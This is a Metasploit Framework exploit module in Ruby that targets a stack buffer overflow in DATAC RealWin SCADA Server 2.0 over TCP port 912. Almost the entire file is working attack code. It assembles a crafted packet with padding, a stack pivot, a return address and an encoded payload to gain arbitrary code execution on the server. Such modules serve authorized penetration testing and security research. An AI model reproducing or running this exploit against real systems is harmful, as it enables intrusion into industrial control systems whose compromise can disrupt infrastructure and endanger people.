## # $Id: realwin_10.rb 11067 2010-11-18 23:45:40Z mc $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'DATAC RealWin SCADA Server Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in DATAC Control International RealWin SCADA Server 2.0 (Build 6.1.8.10). By sending a specially crafted packet, an attacker may be able to execute arbitrary code. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 11067 $', 'References' => [ [ 'URL', 'http://www.metasploit.com/users/mc' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 550, 'BadChars' => "\x00\x20\x0a\x0d", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Universal', { 'Pivot' => 0x40017fc2, 'Ret' => 0x4001f6d0 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 18 2010')) register_options([Opt::RPORT(912)], self.class) end def exploit connect data = [0x6a541264].pack('V') data << [0x00000010].pack('V') data << [0x00001ff4].pack('V') data << rand_text_alpha_upper(164) data << [target['Pivot']].pack('V') data << rand_text_alpha_upper(16) data << [target.ret].pack('V') data << payload.encoded data << rand_text_alpha_upper(10024 - payload.encoded.length) print_status("Trying target #{target.name}...") sock.put(data) handler disconnect end end